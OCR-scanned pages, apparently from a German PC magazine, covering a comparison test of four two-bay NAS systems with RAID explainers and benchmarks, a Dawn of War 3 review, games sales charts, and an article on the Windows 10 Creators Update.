haben. Aber hier geht es um mehr 
als den Unterschied zwischen 
Einsteiger- und Mittelklasse. Die 
Qnap Turbo Station etwa verfügt 
über satte 4 GByte RAM und zwei 
LAN-Buchsen. Für welche Anwen- 
dungszwecke das geeignet ist oder 
für wen das überproportioniert ist, 
kláren wir auf den folgenden zwei 
Seiten. 


Der Diskmanager von Synology: Per Browser bieten alle NAS-Systeme nahezu voll- 
wertige Desktop-Umgebungen mit einem eigenen App Store. 


Überblick: RAID-Level bei zwei 
Festplatten 


Mittels RAID (Redundant Array of Independent Disks) werden mehrere 
Festplatten aneinander geschaltet, um ein logisches Laufwerk zu bilden. 
Sinn des Ganzen ist entweder Redundanz oder Leistungszuwachs - je 
nach sogenanntem RAID-Level. Wir beschránken uns auf die RAID-Level, 
die für ein Gespann aus zwei Festplatten relevant sind. 


RAID 0, „Stripping”: Mehr Leistung, keine Datensicherheit 

Per RAID 0 werden die Daten auf beide Festplatten abwechselnd geschrieben. 
Genauer gesagt werden die Blöcke im ReiBverschlussverfahren auf beiden 
Datenträgern verteilt. Bei Zugriffen sind beide Platten aktiv, was zu höheren 
Transferraten führt. Der Nachteil ist die fehlende Datensicherheit und das höhere 
Ausfallrisiko: Fállt eine der Platten aus, sind auch die Daten der anderen Platte 
nutzlos, da unvollstándig. In diesem Falle kónnen Daten nur teilweise und sehr 
aufwändig rekonstruiert werden, wenn überhaupt. Ohne Redundanz ist aber die 
volle Kapazität beider Festplatten zusammen nutzbar. Werden zwei Festplatten 
unterschiedlicher Kapazitát per RAID 0 zusammengeschnürt, ist für ein logisches 
Laufwerk die doppelte Kapazität der kleineren Festplatte vorhanden. 


RAID 0 lohnt sich für ein heimisches NAS hóchstens, wenn beide Festplatten gleich 
groB sind. Es kommt hier auch selten auf die Leistung an, zumal eine SSD noch 
immer weitaus flotter ist als zwei HDDs im RAID-0-Verbund. 


RAID 1, „Mirroring“: Volle Redundanz, kein Leistungszugewinn 

Per RAID 1 werden die Daten auf beiden Festplatten identisch geschrieben, also 
gespiegelt. Damit sind die Daten beim Ausfall einer Platte vollständig auf der 
anderen vorhanden. Entsprechend braucht die Datenmenge auch das Doppelte an 
Kapazität der beiden Festplatten. Es ist also nur so viel Speicherplatz nutzbar, wie 
die kleinere der beiden Platten hergibt. 


Die Datenredundanz per RAID 1 lohnt sich für Heimanwender nur, wenn die Daten 
einerseits vollständig für einen Ausfall gesichert werden sollen und andererseits 
auch gleichzeitig in diesem Fall im Netzwerk verfügbar sein müssen. Meist ist eine 
Datensicherung auf optischen oder externen Datenträgern zwar etwas umständ- 
icher, aber weitaus günstiger als der ständige Betrieb zweier Festplatten. 


JBOD, „Just a Bunch of Disks": Volle Kapazität, keine Redundanz 

„Nur ein Haufen Festplatten” ist kein RAID-Verbund, aber bei der Wahl des 
ogischen Laufwerks stets eine Option bei NAS-Systemen. Hiermit werden die 
platten einfach zu einem großen Laufwerk zusammengeschaltet. Auch 

i unterschiedlicher Kapazität ist stets die volle Summe beider Laufwerke im 
ogischen Volume nutzbar. Ein weiterer Unterschied zu RAID 0 ist das fehlende 
Reißverschlussverfahren. Fällt also eine Platte aus, sind noch immer die Daten der 
anderen Platte lesbar. 


r sich nicht groß mit einem RAID-Verbund herumschlagen möchte, greift der 
infachheit halber zum JBOD-Volume. Wer außerdem entscheiden möchte, auf 
cher der beiden Festplatten die Daten landen sollen, erstellt auf jedem phy- 
sischen Laufwerk stets (mindestens) ein eigenes logisches. 
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Lautheit 


E Leerlauf 
ш Schreibzugriff 


Lautheit in Sone 


Asustor Synology Qnap Turbo ZyXEL 
AS3202T DiskStation Station TS- NAS326 
DS216+II 251A 


Bemerkungen: Die Festplatten sind für die Geräuschentwicklung eines NAS-Systems hauptsächlich verant- 
wortlich. Der Lüfter aber gibt auch seinen Senf dazu. Im Standby (Festplatten aus) ist ein NAS geräuschlos. 


Stromkosten 


80€ 


E Euro/Jahr im Ruhezustand 


= = Wi Euro/Jahr im Leerlauf 
= 
59,95 € 
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Asustor Synology Qnap Turbo ZyXEL 
AS3202T DiskStation Station TS- NAS326 
DS216+II 251A 


Bemerkungen: Ein Jahr im Ruhezustand (Standby, ausgeschaltete Festplatten) machen mehrere Euro Unter- 
schied an Stromkosten aus. 


Stromverbrauch 
35 
E Ruhezustand W Leerlauf 8 AK Stream 
Se E Lesezugriff Ей Schreibzugriff 
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E > 
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"o 
= 
5 
0 
Synology QNAP Asustor Zyxel 


Bemerkungen: Messungen in jedem System mit zwei „Seagate NAS HDD“ (Stromverbrauch einer Platte im 
Leerlauf ca. 7,5 W, bzw. beim Schreiben ca. 11,1 Watt). Der Gesamtverbrauch der NAS-Systeme variiert je nach 
verwendeten Festplatten. 


Asustor AS3202T: Ruhiger Multime- 
dia-Server mit Quadcore-Celeron. 
Gleich vorneweg: Ja, die Hersteller- 
marke gehört zum bekannten Kon- 
жегп ohne „tor“. Asustor verkauft 
ausschließlich Leergehäuse, wäh- 
rend andere Hersteller auch NAS- 
Systeme mit Festplatten bieten. Es 
handelt sich hier um ein Modell, das 
mit einem HDMI-Ausgang und ent- 
sprechender Softwareausstattung 
besonders Multimedia-tauglich ist 
und mit einem Quadcore sowie 
2 GByte RAM auch professionel- 
le Ansprüche bedient - wie etwa 
Hardware-Verschlüsselung, Virtua- 
lisierung von Linux- und Windows- 
Systemen oder häufige und paral- 
lele Zugriffe mehrerer Nutzer. Das 
AS3202 bietet keine Wechselrah- 
men, wie andere Modelle. Für den 
Einbau der Festplatten muss also 
das gesamte Gehäuse demontiert 
werden, was aber recht einfach 
vonstatten geht. Die Platten wer- 
den direkt ans Blech angeschraubt, 
sind also nicht entkoppelt. Die 
Vibrationen zweier HDDs halten 
sich auch in Grenzen - erst in NAS- 
Systemen mit mehreren Festplatten 
kann das kritisch werden, sodass 


NAS-HDDs mit RV-Sensoren Pflicht 
sind. Auch verursacht das nicht un- 
bedingt mehr Lärm: Die Geräusche 
schwanken um 1 Sone, was das Sys- 
tem wohnzimmertauglich macht. 
Dem vermeintlichen Alleskönner 
fehlt fürs perfekte Wohnzimmer- 
glück nur eine Fernbedienung im 
Lieferumfang. 


Qnap Turbo Station TS-251A: Büro- 
NAS mit ultimativer Multimedia- 
Ausstattung. Das TS-251A haben 
wir in der Variante mit 4 GByte 
RAM getestet. Es gibt auch eine mit 
2 GByte, die circa 30 Euro günsti- 
ger ist. Der RAM hängt im Qnap- 
Modell an einem Dualcore-Celeron 
- auch dieses Gespann bietet eine 
Virtuelle Maschine (VM), was das 
System zu einem vollwertigen 
Rechner macht: Per HDMI steht 
ein Display-Ausgang zur Verfügung 
und selbst Eingabegeräte können 
per USB angeschlossen werden. 
Ohnehin wirkt die Anschlussaus- 
stattung ultimativ: Neben standard- 
mäßigen USB-3.0-Ports bietet die 
Turbo Station auch zwei Audio- 
Buchsen, einen Kartenleser, eine 
„Quick Access“-Micro-USB-Buchse 


Lese- und Kopiertest 


Lesen einer 5-Gbyte-Datei 


Schreiben einer 5-Gbyte-Datei 


Synology DiskStation DS216+1l Eu 45,5 (Basis) 
Asustor AS32027 = 45,7 (+0 96) 
Опар Turbo Station TS-251A Ж 49,2 (+8 96) 
ZyXEL NAS326 62,1 (436 %) 


Synology DiskStation DS216+1l Eu 45,8 (Basis) 
Qnap Turbo Station TS-251A [Eu 46,0 (+0 96) 
Asustor AS3202T = 46,0 (+0 96) 

ZyXEL NAS326 Em 63,0 (+38 %) 


System: Zwei Festplatten „Seagate NAS HDD" je 8 Tbyte mit JBOD-Volume, Netzlaufwerk 
im Gigabit-Netzwerk per Router „TP-Link AC1900" Bemerkungen: Das deutlich 
schwächere System ist in der Praxis auch deutlich langsamer. 


Sekunden 
< Besser 


CrystalDiskMark: Sequenzielle Datenraten 


Sequenzielle Leseleistung 


Sequenzielle Schreibleistung 


Asustor AS32027 = =k 1147 (Basis) 
Synology DiskStation 05216-11 Xm 112,8 (-2 %) 
Опар Turbo Station TS-251A [EX 104,9 (-9 %) 
ZyXEL NAS326 Em 104,2 (-9 %) 


Asustor AS32027 114,9 (Basis) 
Опар Turbo Station TS-251A EX 113,0 (-2 96) 
Synology DiskStation 05216-11 Xm 110,5 (-4 %) 
ZyXEL NAS326 108,4 (-6 96) 


System: Zwei Festplatten „Seagate NAS HDD" je 8 Tbyte mit JBOD-Volume, Netzlaufwerk 
im Gigabit-Netzwerk per Router „TP-Link AC1900" Bemerkungen: Im sequenziellen 
Zugriff sind die Unterschiede unter den Modellen recht gering. 


MB/s 
> Besser 
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und zwei LAN-Buchsen - alles 
nicht selbstverständlich. Sogar eine 
Fernbedienung ist standardmä- 
Big im Lieferumfang. Die satten 
4 GByte RAM und die sogenannte 
Link-Aggregation per Bündelung 
der beiden Gigabit-LAN-Anschlüsse 
kommen erst zur Geltung, wenn 
mehrere Nutzer gleichzeitig auf 
das NAS-System zugreifen - etwa 
bei großen Familien oder kleinen 
Unternehmen. Die Datenrate ist 
zwar auch bei nur einem Zugriff 
etwas höher. Wer aber nicht stän- 
dig große Datenmengen schaufelt, 
benötigt den zweiten LAN-Port 
nicht unbedingt. Das Transkodie- 
ren von 4K-Videos klappt auch mit 
geringerer Rechenleistung und 
Bandbreite zuverlässig. Einen Ha- 
ken hat der eierlegende Wollmilch- 
kasten dennoch: nämlich beim 
Stromverbrauch. Mit ca. 9 Watt im 
Standby (ausgeschaltete HDDs) ist 
er deutlich höher als bei anderen 
Modellen, die sich hier mit nur ca. 
6 Watt begnügen. Unsere Beispiel- 


rechnung auf der linken Seite zeigt, 
dass das übers Jahr gesehen mehre- 
re Euro ausmachen kann. 


Synology Diskstation 05216-11: Ar- 
beitstier mit Fokus auf den Netz- 
werkspeicher. Mit Anschlüssen 
scheint das Synology-Modell zu- 
nächst stiefmütterlich ausgestattet: 
kein HDMI-Ausgang, wie bei den 
beiden eben vorgestellten Syste- 
men, nur einmal USB 3.0, zweimal 
USB 2.0, aber immerhin ein eSATA- 
Port. Dieser ist aber weitestgehend 
ausgestorben. Die Diskstation hat 
andere Stärken, die nicht in der 
Multimedia-Anwendung liegen. 
Dennoch sind Media-Center-An- 
wendungen oder 4K-Transkodie- 
rung auch hier vorhanden. Uns 
gefällt zunächst die schraubenlose 
Montage der Festplatten an den 
entkoppelten Wechselrahmen. 
Auch die Frontblende ist leicht ab- 
nehmbar, da sie per Gummiknöp- 
fen angeklemmt ist, was trotzdem 
zuverlässig hält. Für Otto Normal- 


anwender sind die Desktops aller 
NAS-Betriebssysteme gleicherma- 
ßen komfortabel. Der Diskstation- 
Manager (DSM) von Synology galt 
im Funktionsumfang lange als Sta- 
te-of-the-art, die der anderen Her- 
steller haben aber mittlerweile gut 
aufgeholt. Das Synology-Modell ist 
nicht gerade das leiseste, aber mit 
nur 6 Watt im Standby eines der 
sparsameren NAS-Systeme. 


Zyxel NAS326: Preis-Leistungs-Mo- 
dell ohne größere Kompromisse. 

Was leistet das Modell, das gegen- 
über den anderen nicht mal ein 
Drittel kostet? Wie zu erwarten ist 
selbst bei sequenziellem Transfer 
die Datenrate deutlich geringer 
als bei den Mittelklasse-Modellen. 
Für die Ansprüche eines kleine- 
ren Haushalts, wo so gut wie nie 
parallel auf den Netzwerkspeicher 
zugegriffen wird, ist das System mit 
Singlecore-ARM-CPU (und zwei 
Threads) sowie 512 MByte RAM 
absolut ausreichend. Zwar nicht 


Leistung, aber Anschluss- und Soft- 
wareausstattung sind den teureren 
Modellen nahezu ebenbürtig. Zum 
Media Center fehlt dem Zyxel etwa 
ein HDMI-Anschluss. Ein 4K-Stream 
zu einem entsprechenden End- 
gerät schafft der günstige Kasten 
dennoch. Außerdem bleibt er mit 
1 Sone recht leise und schluckt im 
Standby nicht mehr als 6 Watt. Das 
NAS326 bietet somit einen günsti- 
gen und vollwertigen Einstieg in 


die NAS-Welt. (mc) 
Fazit Hardware 


Mini-LAN-PCs 

mmer leistungsfähigere Hardware und 
umfangreichere Software machen die 
AS-Systeme zu nahezu vollwertigen 
etzwerk-PCs, ohne ihr Killer-Feature, 
den geringen Stromverbrauch, dafür zu 
opfern. Für ein vollwertiges, einfaches 
Modell müssen keine 300 Euro hinge- 
egt werden — gute einfache NAS-Ge- 
häuse gibt es schon ab unter 100 Euro. 


2-BAY- 
NAS-SYSTEME 


Testtabelle 
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Anschlüsse intern 


Produkt AS3202T Turbo Station TS-251A Diskstati 216-11 NAS326 

Hersteller Asustor Qnap Synology Zyxel 
www.pcgh.de/preis/1416986 www.pcgh.de/preis/1495733 www.pcgh.de/preis/1452032 www.pcgh.de/preis/1384026 
Preis/Preis-Leistungs-Verhältnis Ca. € 320,-/befriedigend Ca. € 325,-/befriedigend Ca. € 305,-/befriedigend Ca. € 92,-/gut 


2 x 3.5 Zoll, SATA 6Gb/s 


2 x 2.5 Zoll/3.5 Zoll, SATA 6Gb/s, Hot-Swap 


2 x 2.5 Zoll/3.5 Zoll, SATA 6Gb/s 


2 x 2.5 Zoll/3.5 Zoll SATA 3Gb/s 


LAN-Anschlüsse 


1 x Gigabit-LAN 


2 x Gigabit-LAN 


1 x Gigabit-LAN 


1 x Gigabit-LAN 


Zusátzliche Anschlüsse 


3 x USB 3.0 (Host), HDMI 1.4 


3 x USB 3.0 (Host), 1 x USB 3.0 Micro-B 
(Host), 1 x HDMI, 1 x Mikrofon, 1 x Line- 
Out, 1 x Cardreader (SD/SDHC/SDXC) 


1 x USB 3.0 (Host), 2 x USB 2.0 (Host), 
1 x eSATA 


2 x USB 3.0, 1 x USB 2.0 


RAID-Level 0/1/JBOD 0/1/JBOD 0/1/JBOD 0/1/JBOD 

CPU Intel Celeron N3150, 4 x 1.60 GHz Intel Celeron N3060, 2 x 1.60 GHz Intel Celeron N3060, 2 x 1.60 GHz Marvell Armada 380, 1 x 1.30 GHz 
RAM 2 GByte DDR3L 4 GByte DDR3L 1 GByte DDR3 512 MB DDR3 

Lüfter 1 x 70mm 1 x 70mm 1x92mm 1 x 90mm 

Herstellergarantie drei Jahre zwei Jahre zwei Jahre zwei Jahre 


Software-Ausstattung (Auszug) 


iSCSI, 256bit AES-Verschlüsselung, 
FTP-Server, iTunes-Server, BitTorrent-Client, 
WebDAV, XBMC-Support, vier IP-Kamera 
Lizenzen 


iSCSI, WebDAV, FTP-Server, DLNA-Server, 
iTunes-Server, BitTorrent-Client, 256bit 
AES-Verschlüsselung, inkl. Fernbedienung 


iSCSI, iTunes-Server, DLNA-Server, FTP-Ser- 
ver, BitTorrent-Client, 4K-Transcoding 


iSCSI, FTP-Server, DLNA-Server, iTunes-Ser- 
ver, WebDAV 


Eigenschaften 

Abmessungen (B x H x T) 102 x 165 x 218 mm 102 x 168.5 x 225 mm 108 x 165 x 233.2 mm 123 x 164 x 207 mm 
Gewicht 1,17 kg 1,28 kg 1,25 kg 1,26 kg 

Lautheit (Leerlauf/Schreibzugriff) 0,9 Sone/1,1 Sone 1,3 Sone/1,6 Sone 1,6 Sone/1,7 Sone 1 Sone/1,3 Sone 
Kopiertest (Lesen/Schreiben einer 5-GB-Daten) |45,7 Sek./46 Sek. 49,2 Sek./46 Sek. 45,5 Sek./45,8 Sek. 62,1 Sek./63 Sek. 


Stromverbrauch (Ruhezustand, Leerlauf, 4K- 
Videostream, Schreibzugriff) 


Seq. Lese-, Schreibleistung (CrystalDiskMark) 


7,1 W/23,6 W/25,3 W/24,5 Watt 


114,7 MByte/s, 114,9 MByte/s 


9,4 W/26,5 W/28,8 W/32,5 Watt 


104,9 MByte/s, 113,0 MByte/s 


6,3 W/25,6 W/27,3 W/29,6 Watt 


112,8 MByte/s, 110,5 MByte/s 


6,2 W/24,1 W/24,6 W/26,5 Watt 


104,2 MByte/s, 108,4 MByte/s 


Lautheit (Leerlauf/Schreibzugriff) 


0,9 Sone/1,1 Sone 


1,3 Sone/1,6 Sone 


1,6 Sone/1,7 Sone 


1 Sone/1,3 Sone 


Lesen einer 5-GByte-Datei 


45,7 Sek. 


49,2 Sek. 


45,5 Sek. 


62,1 Sek. 


Schreiben einer 5-GByte-Datei 


FAZIT 
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46 Sek. 


© HDMI-Anschluss 
© Relativ leise 


© Keine Wechselrahmen 


Wertung: Xx *7 


46 Sek. 


© HDMI-Anschluss 
©2 x Gigabit-LAN (Link-Aggregation) 
© Hoher Stromverbrauch 


Wertung: kk k k j 


45,8 Sek. 


© Schraubenlose Wechselrahmen 
© Großer Lüfter 
© Recht laut 


Wertung: Xxx № 
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63 Sek. 


© Sehr günstig 
© Geringer Stromverbrauch 
© Relativ langsame Transferraten 


Wertung: Xxx 7 
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Spiele & Software 


Spiele, Software, Tools, Windows, Freeware, Pra 


Raffael Vötter 
Fachbereich Hüpfspiele 
E-Mail: rv@pcgh.de 


Kommentar 


Rarevival! Warum Freunde klassischer 
3D-Jump&Runs wieder glücklich sind. 


Erinnern Sie sich an die Jahrtausendwende? Ich 
meine jetzt nicht den Millennium-Bug, welcher 
weitgehend ausblieb, sondern die Spiele die- 
ser Zeit. Vor allem Konsoleros und hier speziell 
Nintendo-64-Besitzer konnten auf eine Fülle 
fantastischer Jump & Runs zurückgreifen. Vor 
allem das damals noch zu Nintendo gehörende 
Studio Rare lieferte eine Perle nach der anderen. 
Banjo-Kazooie (1998), Donkey Kong 64 (1999), 
Banjo-Tooie (2001) – na, klingelt's? Dann kam 
der Absturz, die Ebbe, der Verkauf des Studios 
an Microsoft. Das führte zu einigen Abgängen 
im Hause Rare. Vor ein paar Jahren gründeten 
diese Veteranen zusammen mit einigen Kollegen 
das Studio Playtonic Games, um das zu tun, was 
sie am besten können: großartige Jump & Runs 
zu entwickeln. Die über Kickstarter finanzierte 
Frucht dieser Bestrebungen ist Yooka-Laylee. 
Das Spiel kopiert die „Bear & Bird"-Games 
ebenso schamlos wie erfolgreich und lässt somit 
die alte Zeit wieder aufleben, selbstverstándlich 
mit modernem Anstrich — unseren Techniktest 
finden Sie unter www.pcgh.de/ukulele. Mein 
Tipp für Hüpffreunde: unbedingt anspielen! 


Verkaufs- 


CHARTS* 


Hersteller 
Electronic Arts 


_ Platz Titel 

Die Sims 4 

Mass Effect: Andromeda 
Ghost Recon: Wildlands 
Grand Theft Auto 5 
X-Plane 11 


Electronic Arts 
Ubisoft 
Rockstar Games 
Aerosoft GmbH 
Overwatch Blizzard 

Die Sims 4: GroBstadtleben (EP3) Electronic Arts 
Battlefield 1 
Civilization 6 


Electronic Arts 
2K Games 
Astragon 


оо = сул É шш N > 


e 


Landwirtschafts-Simulator 17 
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* Quelle: Saturn, Top 20 vom 15.04.2017 


| Sega 
Dawn of War 3 


Hardware 


~r 


Warhammer 40K: Dawn of War 3 


Relic Entertainment, die Macher von Company of 
Heroes, wollen Hobby-Generälen mit Dawn of War 
3 epische Schlachten liefern. Geht der Plan auf? 


it den epischen Schlachten zwischen 

den Eldar, Space Marines und Orks ge- 
hen die Kanadier zurück zu den Wurzeln des 
Echtzeitstrategie-Genres. Das bedeutet, Dawn 
of War 3 verzichtet auf einige der typischen 
Taktikelemente, beispielsweise die Deckung. 
Stattdessen bietet der dritte Dawn-of-War-Teil 
Schlachten mit vielen Einheiten und lässt die 
Echtzeitstrategen wieder eine richtige Basis 
einrichten. Diese Neuausrichtung gefällt, denn 
der mit 17 langen Missionen sehr umfangreich 
geratene Kampagnenteil ist auf jeden Fall ab- 
wechslungsreich. Die Entwickler haben so 
gut wie jeden bekannten Missionstyp aus dem 
Genre in die Kampagne integriert. Dank der 
zahlreichen, ständig neuen und immer heraus- 
fordernden Aufgaben kommt in der Kampagne 
nie Langeweile auf. Außerdem fallen die Frakti- 
onen völlig unterschiedlich aus, sodass Sie sich 
von Mission zu Mission auf andere Herausfor- 
derungen einstellen müssen. Obwohl dabei die 
Handlung nicht mit wirklich überraschenden 
Wendungen daherkommt, bietet sie zumin- 
dest bis zum Schluss das, was Warhammer-Fans 
mögen: eine epische Story inkusive ikonischer 
Helden wie dem Blood-Raven-Anführer Gabri- 
el Angelos. Dazu kommt, dass die Inszenierung 
von Dawn of War 3 für Genreverhältnisse mit 


aufwendigen Zwischensequenzen und einer ge- 
lungenen Vertonung wirklich hochklassisch ist. 


Im Gegenzug fallen die sehr skriptlastigen Mis- 
sionen und die taktisch nicht allzu clever agie- 
renden Computergegner negativ auf. Die KI 
kümmert sich nämlich nicht selbst um ihre Res- 
sourcen oder das Anheuern der Truppen. Viel- 
mehr spawnen an bestimmten Stellen Feinde, die 
immer über den gleichen Weg den Spieler atta- 
kieren - da geht Spielspaß verloren. Zudem weist 
die Spielmechanik Schwächen auf und eignet 
sich nicht optimal für die riesigen Kämpfe mit 
mehr als 20 Einheiten. Das Mikromanagement 
wird schnell hektisch und der Spieler verliert auf- 
grund der Größe der Armeen die Übersicht über 
die eigenen Truppen. Ein abschließendes Lob 
gibt es dagegen noch für den interessanten Mehr- 
spielermodus für bis zu sechs Spieler. (fs) 


Warhammer 40.000: Dawn of War 3 


FAZIT: Dawn of War 3 ist dank des Basisbaus ein Echtzeitstra- 
tegiespiel der alten Schule, das mit seiner epischen Kampagne 
zu gefallen weiß. Kritikpunkte wie die zu hektischen Gefechte 
oder die zu mikromanagementlastige Spielmechanik sind 
berechtigt, werden Fans aber nicht vom Kauf abhalten. 


Genre: Echtzeitstrategie | Web: www.dawnofwar.com 

| Technik: Essence-Engine 4.0 mit physically based 
Rendering | Empfohlener PC: Core i5-7400/AMD R5 1400, 
GTX 1060 (3 GiB)/RX 470 (4 GiB), 8 Gigabyte RAM 


WERTUNG 
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NEWS & INTERVIEWS 


JOBS IN DER 
SPIELE-INDUSTRIE 


BRANCHEN-EVENTS 


Taglich die 
heißesten 
Branchen-Infos: 


Jetzt für den 
kostenlosen 
Newsletter 
anmelden! 
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Windows’ neue Kleider 


Das neue Creator's Update für Windows besteht nicht nur aus bunten Designs und Malprogrammen, 


sondern liefert auch noch Zusatzfunktionen für Unkreative. Wir zeigen, was noch so im Update steckt. 


wei mal im Jahr verpasst Mi- 

crosoft ihrem Betriebssystem 
durch eine große Aktualisierung 
neue Funktionen. 2016 erfolgte 
das November- und Anniversary- 
Update. 2017 richtet sich der 
Software-Riese mit dem Creator's 
Update speziell an kreative Kópfe. 
Neue tolle Designs, ein integrierter 
Streaming-Dienst, der auf Knopf- 
druck sendet, und ein aufgebohrtes 
Paint-Zeichenprogramm. Windows 
wird zum kreativen Spielplatz. 
Doch was hat sich an der Daten- 
sammelwut von Windows 10 verän- 
dert? Bringt der neu hinzugefügte 
Spielemodus eigentlich was? 


Das neue Update hat natürlich auch 
etwas fürs Auge zu bieten und hüllt 
Windows an manchen Stellen in 
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ein gänzlich neues und buntes Ant- 
litz. Einige dieser kosmetischen Er- 
neuerungen sind nicht nur schön 
anzuschauen, sondern haben sogar 
einen praktischen Nutzen, wie die 
Startmenü-Ordner beweisen. 


Überarbeitet und 
rationalisiert. Veränderungen am 
Startmenü vorzunehmen, kann ge- 
hörig nach hinten losgehen, wie 
das unbeliebte Windows 8 zeigte. 
In Windows 10 kombinierte man 
die berührungsoptimierte Kachel- 
optik mit dem klassischen Startme- 
nü, jedoch wirkt der Hybrid klobig 
und groß. Das Creators Update 
erlaubt nun per Mausklick den flie- 
genden Wechsel zwischen Listen- 
struktur und moderner Kachelva- 
riante. Außerdem lassen sich über 
Drag and Drop aus den Kacheln 


Ordner erstellen, sollte man mal 
die Übersicht verlieren. 


Windows feiert die Renais- 
sance der Themes. Themes sind 
Designs, die dem Erscheinungs- 
bild von Windows übergestülpt 
werden und so je nach Geschmack 
Windows 10 stilsicher verändern. 
Zwar waren Themes nie gänz- 
lich aus dem Betriebssystem ver- 
schwunden, diese waren aber in 
der Vergangenheit schwer zu fin- 
den. Durch das Update wurden 
alle kosmetischen Belange nun zu- 
sammengelegt und sind in den Ein- 
stellungen unter Personalisierung 
anwählbar. Über den Windows 
Store können außerdem aus einer 
Vielzahl teils kostenpflichtiger 
Kosmetik-Pakete unterschiedlichs- 
te Designs bezogen werden. Mit 


diesen lassen sich nicht nur wech- 
selnde Hintergründe einrichten, 
sondern auch individuelle Akzent- 
farben setzen. Bei den aktuell über 
170 Themes ist sicherlich für jeden 
Geschmack etwas dabei. 


Ob in der Medizin oder zu Hause 
vor der Konsole: VR, Augmented 
Reality oder Mixed Reality erhalten 
gerade Einzug in viele Wohnzim- 
mer. Mit dem Creator's Update in- 
tegriert Microsoft nun eine breite 
native Unterstützung für VR- und 
3D-Inhalte in Windows 10. Nicht 
nur der Edge Browser bekommt 
deswegen eine 3D-Unterstützung, 
sondern auch der treue Begleiter 
Paint. Das in Windows 3.1 noch als 
Paintbrush bekannte Zeichenpro- 


www.pcgameshardware.de 


Windows Creator's Update | SPIELE & SOFTWARE 


gramm sieht nach der Aktualisie- 
rung nicht nur moderner aus, son- 
dern macht aus jedem Anwender 
im Handumdrehen einen kleinen 
3D-Künstler. Fortan wandelt man 
also Kritzeleien auf die denkbar 
einfachste Art und Weise in plas- 
tisch wirkende Objekte um: Eine 
simple 2D-Zeichnung wird per 
Knopfdruck in die dritte Dimensi- 
on gebracht. Die Position im Raum 
kann dann noch mit Reglern vari- 
iert werden und wer sein künstle- 
risches Genie unterschätzt, kann 
mit Remix-3D auf vorgefertigte Mo- 
delle zurückgreifen oder sich dort 
von anderen Nutzern inspirieren 
lassen. 


Die Schutzsoftware Windows De- 
fender wurde im Creator's Update 
zum Sicherheitscenter aufgewer- 
tet. In der gebündelten Ansicht 
wird jetzt neben Antivirus, Firewall 
und Netzwerksicherheit auch der 
Jugendschutz verwaltet und die 
Systemintegrität überwacht. Um 
zu funktionieren, protokolliert der 
Defender bestimmte Verhaltens- 
weisen und Ereignisse mit. Diese 
werden dann von Microsoft durch 
einen  cloud-basierten Analyse- 
dienst verarbeitet. Ein Team aus 
Forschern und Sicherheitsspezi- 
alisten wird bei der Auswertung- 
durch maschinelles Lernen, einem 
rießigen Schädlingsarchiv und ge- 
sammelten Indikatoren aus frühe- 
ren Attacken unterstützt. Dadurch 
soll beispielsweise immer häufiger 
auftretende Ransomsoftware - 
das ist Schadsoftware, die Dateien 
verschlüsselt und den Besitzer er- 
presst - besser erkannt werden. 


Sommer 2013: Durch Snowden 
kommt der NSA-Überwachungs- 
skandal ans Licht. Nahezu jeder 
Lebensbereich wird vom großen 
Bruder überwacht. Unverständlich 
also, warum Microsoft bei der Ver- 
öffentlichung von Windows 10 vor 
gut zwei Jahren viele Datenschutz- 
einstellungen so „gekonnt“ gesetzt 
hatte, dass unerfahrene Benutzer 
diese einfach übersahen. Im dritten 
großen Windows 10 Update hat der 
Softwaregigant nun nachgebessert 
und auf die Kritik von Verbrau- 
cherschützern und Anwendern re- 
agiert. Direkt nach der Installation 
wird der Nutzer nun aufgefordert 
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Das neue Startmenü - klassisch und modern 


Der bisherige Hybrid aus Kacheloptik und klassischem Startmenü kann auf manch kleinem Bildschirm durchaus klobig und 
unübersichtlich wirken. Deshalb kann man jetzt durch Klick auf das Listensymbol zwischen beiden Ansichten wechseln. Windows 
erlaubt zusätzlich noch das Gruppieren von Kacheln mittels Drag and Drop — endlich ein aufgeräumtes und modernes Ul. 


Vor dem Update: Der große Hybrid 


ukat 


UU 


seine Datenschutz-Einstellungen 
zu überprüfen. Dort werden die 
durch Microsoft erhobenen Daten 
mit Verwendungszweck genau auf- 
gelistet und beim Namen genannt 
- ein Übersehen ist also nicht 
möglich. Damit wird die Daten- 
sammelwut deutlich transparenter 
und auf einem zusätzlichen Online- 
Dashboard lassen sich alle bisher 
erhobenen Daten - wie Standort 
oder Suchanfragen - einsehen und 
löschen. Dennoch hat diese erfreu- 
liche Entwicklung einen bitteren 
Beigeschmack, denn ein vollstän- 
diges Abschalten für das Übermit- 
teln von Telemetriedaten besteht 
nicht mehr. Lediglich zwischen 
„einfachem“ und „vollständigen“ 
Datensammeln kann entschieden 
werden. 


Wehe dem, der nur mal kurz an 
den Rechner muss, um dringend 
ein Dokument auszudrucken. Stets 
lauerte ein Update im Hintergrund, 
darauf wartend zuzuschlagen, 
wenn man gerade am schwächsten 
ist. Diese unangenehmen Zusam- 
menstöße mit der internen Aktua- 
lisierungsroutine sollen nun end- 
lich der Vergangenheit angehören. 
Durch das Creator's Update wird 
dem Nutzer die Möglichkeit ein- 
geráumt, den Aktualisierungsplan 
von Seiten Microsofts zu beeinflus- 
sen und damit zu verändern. Statt 


Die moderne Kacheloptik... ...oder die klassische Variante 


EN N^ 


mH uu» 
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Der Streaming-Dienst Beam (beam.pro) wurde Anfang 2016 gegründet und nach nur 
acht Monaten von Microsoft aufgekauft, als integrierter Service für die Xbox One. 


2> g wi иа ттш 
Mittels Win+G lässt sich im Spiel die Game Bar öffnen, mit der man neben dem 
Spielemodus auch Spiele übertragen und aufnehmen kann. 
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Jeder wird zum Bildhauer 


Mit Paint 3D wandelt Windows 10 im Handumdrehen zweidimensionale Skizzen 

in dreidimensionale Objekte. Mit Stickern können die plastischen Kritzeleien dann 
noch stilistisch aufgewertet werden und die Remix-3D-Community bietet zu Hauf 
Kreationen anderer Nutzer zur eigenen Verwendung an. Jetzt ist jeder ein Künstler! 


Am Anfang steht eine 2D-Zeichnung 


@ 


Die direkt in ein 3D-Modell gewandelt wird 


Ek 


Inspiration findet man in Remix-3D 
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den bisher Update-freien zwölf 
Stunden Nutzungszeit, kann das 
Zeitfenster nun auf 18 Stunden 
ausgeweitet werden. Sollte das 
nicht ausreichen, kann eine Aktu- 
alisierung auch mal mehrere Tage 
nach hinten verschoben werden. 
Möchte man auf Updates generell 
verzichten, ist dies aus Sicherheits- 
gründen nicht mehr machbar. 


Zukünftige Aktualisierungen wer- 
den nur noch über die eingeführte 
„Unified Update Platform“ (UUP) 
vollzogen, die mit differentieller 
Downloadtechnologie arbeitet. 
Übersetzt bedeutet das, dass der 
Fokus sich auf die Änderungen im 
